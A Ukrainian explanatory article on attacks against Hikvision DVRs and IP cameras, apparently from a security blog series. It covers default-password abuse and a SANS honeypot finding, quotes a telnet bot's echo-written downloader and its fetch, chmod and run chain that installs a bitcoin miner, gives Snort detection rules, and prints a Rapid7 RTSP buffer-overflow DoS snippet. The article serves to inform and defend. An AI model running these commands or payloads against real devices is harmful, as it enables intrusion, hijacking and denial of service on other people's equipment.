Злом реєстраторів та IP-
камер …

Злом реєстраторів та IP- камер Hikvision. Частина 2

Частина 2. Приклади зломів

 

“А ви пароль змінювали?”



Цілком регулярно хакери підламуються величезні сайти з великою кількістю зареєстрованих користувачів. Деякі вивалюють результат свого злому в мережу. Кількість простих паролів у таких списках зашкалює (з відривом лідирують 123456, qwerty і password). На всіх пристроях компанії Hikvision за замовчуванням стоїть пароль 12345. Спеціальне спливаюче вікно благає змінити базовий пароль кожного разу як ви входите в систему, але часто безрезультатно.

Один бадьорий фізик на прізвище Фейнман (співучасник створення мега-бомби, учасник проекту Манхеттен) відзначав у своїх мемуарах, що для сміху зламував сейфи своїх товаришів по службі й цим заробив собі цікаву репутацію. Перш за все, він пробував стандартні заводські комбінації (50-25-50, 25-50-25) та у чверті випадків відразу вгадував. Далі в хід йшов social engineering (дата народження та інше). В результаті майже всі сейфи були розкриті.



Невдовзі він прийшов до великого армійського начальника аби розкрити його сейф, і розповів як важливо міняти паролі. У результаті вийшов спеціальний циркуляр, де замість примусової зміни пароля всьому персоналу наказували примусово не підпускати до сейфів пана Фейнмана.



Проект “Манхеттен”, бомба, найсуворіша секретність, й при всьому разюче нехлюйство. Що вже говорити про простих смертних? З людьми, які не змінюють стандартні паролі, увесь час відбуваються веселі пригоди.

 



“Крадії процесорної потужності”



Необхідно пояснити, що скрипти та віруси, що працюють по площах, можуть розповісти дуже багато про те, що саме вони шукають. Один з інструментів тлумачного експерта – т.зв. ханіпот (англ. honeypot – горщик з медом). Експерт підсовує в мережу незахищений комп’ютер або пристрій, і уважно дивиться куди лізе шкідливий скрипт, що він закачує, що викачує, де ще паскудить і як мімікрує.

У минулому році, Йоганн Ульріх з інституту безпеки Санс зацікавився однією незвичайною штукою. Щось лазило мережею й цілеспрямовано ломилося у 23 порт (ТЕЛНЕТ) зі стандартними логіном-паролем для Хіквіжіновских реєстраторів і камер (root-12345). Отримавши доступ, намагалися виконатися явно нестандартні дії. Заінтригований, Ульріх побіг до найближчого лабазу і розжився новим іспанським реєстратором S04 (український аналог – DS-7104HWI-SH). Після включення в мережу, на 23 порт тут же почала тикатися прірва різного. Зі стандартною парою root-12345 пролізло шестеро. П’ять повзали файловою системою та відвалилися до кращих часів. Шостий поводився нахабніше.

Далі технічне, не всі зрозуміють.

На реєстраторі немає функції “закачати”, немає wget’а і подібних речей. Вони з м’ясом вирізані укладачами прошивки (дуже урізаний busybox).

 

Залогінений скрипт невигадливо передав просте повідомлення:

“echo -ne

‘\x00\x00\x00\x2f\x00\x00\x00\x1a\x00\x00

 \x00\x00\x00\x00\x00\x05\x00\x00\x00\x00

 \x00\x00\x00\x04\x00\x00\x00\x00\x00\x00

 \x00\x31\x00\x00\x00\x00\x00

 \x00\x00\x2a\x00\x00\x00\x1b\x00\x00\x00

 \x14\x00\x00\x00′ >> /var/run/rand0-btcminer-arm

 && echo -e ‘\x64\x6f\x6e\x65′”

 

Перша команда echo передавала 51 байт інформації у новий файл “/var/run/rand0-btcminer-arm” і друга еха передавала “done”. Незважаючи на назву – це на сам майнер, а лише його завантажник, певний різновид wget’а. Далі він використовується для завантаження власного майнера.

./rand0-btcminer-arm https://айпиадрес/btcminer-arm

&& chmod u+x btcminer-arm

&& ./btcminer-arm -B -o stratum+tcp://другой_адрес:3333 -t 4 -q

&& echo -ne ‘\x64\x6f\x6e\x65’

 

Власне, цим wget’ом власне завантажується сам майнер (btcminer-arm), йому встановлюються дозволи на виконання (chmod u+x), та ін. У кінці знову завершальний “done”.



Для непричетних – про біткоіни.



Деякі громадяни в інтернеті винайшли те, що вони називають “криптовалюта”. Ця валюта являє собою групи чисел, що підкоряються певним алгоритмом. Видобувається (“Майн”, від англ. Mine – шахта) подібна валюта за допомогою процесорних обчислень. Для цих цілей найкраще підходять відеокарти – вони роблять ці обчислення швидше і багатопоточніше процесорів. Процесори теж, звичайно, можуть, але на багато гірше і повільніше.



Тим, хто цікавиться слід гуглити слова “біткоіни”, “Майнінг” і “криптовалюта”. Як зрозуміло з назви завантажуваної програми – це біткоіни (btc) майнер (miner) для процесорів арм (arm). Ефективність подібного Майнінг сумнівна. Але, керуючись одвічними принципами “на шару й оцет солодкий” і “п’ять бабусь вже кермо” – реєстратори з заводськими паролями були масово поставлені під рушницю і хизувалися аж процесорів, що перегорають – щоб заробити якомусь дядькові по п’ять копійок на тиждень.



Пізніше з Ульріхом зв’язалися крадії з одноразового акаунту твіттера і на підтвердження своєї важливості навіть підкинули йому шматок коду, яким перебиралася прірва адрес і заражалися реєстратори.

Сам код не представляє особливого інтересу – це звичайний пітонівский скрипт з підключеною телнетовскою бібліотекою (telnetlib), який тикає у 23 порт пару root-12345 і чекає відповіді, далі перевіряє чи реєстратор це і зберігає зліпок файлової системи.



Інтерес представляє те, що реєстратор згодом заражався ще кілька разів, і наступні встановлені Майнер цілком собі мирно співіснували разом, займаючись груповим зґвалтуванням стогнала АРМ процесорчіка.

Ульріх звертає увагу що більшість майнерів віддають перевагу порту 3333.

Також, якщо у кого є лінукс – можете спробувати прості консольні команди:

 

# detect if we do have an exposed DVR in our network

alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: “DVR Login Prompt”; sid: 1100001; content: “|0a|dvrdvs login: “; flow: from_server, establishe\

d;)

# detect “banner” returned by busybox. Removed detailed version information

alert TCP $HOME_NET 23 -> $EXTERNAL_NET any (msg: “Successful BusyBox Telnet Login”; sid: 1100002; content: “BusyBox v”; content: “built-in shel\

l (ash)”; within: 60; flow: from_server, established;)

# specific “Subscribe” request used by this miner. May need to be a bit more generic. E.g. keep port at “any” ?

alert TCP $HOME_NET any -> $EXTERNAL_NET 3333 (msg: “bitcoin miner subscribe request”; sid: 1100003; content: “{\”id\”: 1, \”method\”: \”mining.\

subscribe\”, \”params\””;)

Варто зазначити, що реєстратори Hikvision були атаковані просто як найпоширеніші. Подібні атаки жадібних майнерів вже терплять роутери Asus, nas’и Synology та інші популярні побутові пристрої з відкритим за замовчуванням телнетом





Серйозні зломи і уразливості



Безпечники з контори Рапід7 протестували реєстратор 7204-HVI-SV (прошивка V2.2.10 build 131009). В офіційному звіті зроблено висновок про уразливості переповнення буфера для цього і схожих реєстраторів. Приблизно мінімум 150 тисяч вразливих пристроїв.



Були представлені наступні помилки:

CVE-2014-4878 involves exploiting a buffer overflow in the RTSP request body handling
CVE-2014-4879 involves exploiting a buffer overflow in the RTSP request header handling
CVE-2014-4880 involves exploiting a buffer overflow in the RTSP request basic authentication handling.

Як свідчить звіт, при особливим чином сформованому RTSP запиті, ми отримуємо помилку переповнення буфера, а внаслідок і контроль над системою. Для цього неважливо якої складності був пароль.

Хендлер RTSP запиту використовує буфер фіксованої ширини (2048 байт). Наступний код викликає Denial-of-Service:

request =  “PLAY rtsp://%s/ RTSP/1.0\r\n” % HOST
request += “CSeq: 7\r\n”
request += “Authorization: Basic AAAAAAA\r\n”
request += “Content-length: 3200\r\n\r\n”
request += “A”*3200



Коди виклику DoS для інших помилок виглядають схожим чином.



Для непричетних варто пояснити, що отримуючи контроль над системою – хакер отримає не просто всю інформацію з камери або реєстратора, але ще й зручну точку входу в локальну мережу (де може поживитися вже цікавішими речами). Контора у Рапід7 відповідальна, виробник був сповіщений за пару тижнів до публікації уразливості та встиг все виправити.





Висновки

Популяризація реєстраторів і камер фірми Hikvision, світова слава, достаток однотипних пристроїв – сукупність цих факторів неминуче підвищує ризик бути зламаним. Це було лише питання часу.

У цілому, якщо тримати рекомендовану виробником прошивку і придумати хитрий пароль – переважній більшості користувачів нічого не загрожує.

Компанія Hikvision стала підходити суворіше до питання парольної безпеки – зі зміни пароля тепер явно вказується його слабкість. Просять зазвичай створювати цифробуквенний, ну і таке інше.



До того ж на всіх нових моделях реєстраторів і камер (починаючи з прошивки 5.3) буде за замовчуванням закритий телнет. Телнет до речі закривають не лише з цієї причини. Деякі громадяни занадилися купувати в китайських інтернет-магазинах камери Hikvision, призначені для внутрішнього китайського ринку, що характерно, дуже недорого. Потім шляхом шаманських танців, ТЕЛНЕТ і гайда в інтернеті залочений китайський апарат починав базікати цілком пристойною англійською. Детальніше цю тему ми розкриємо в наступних статтях.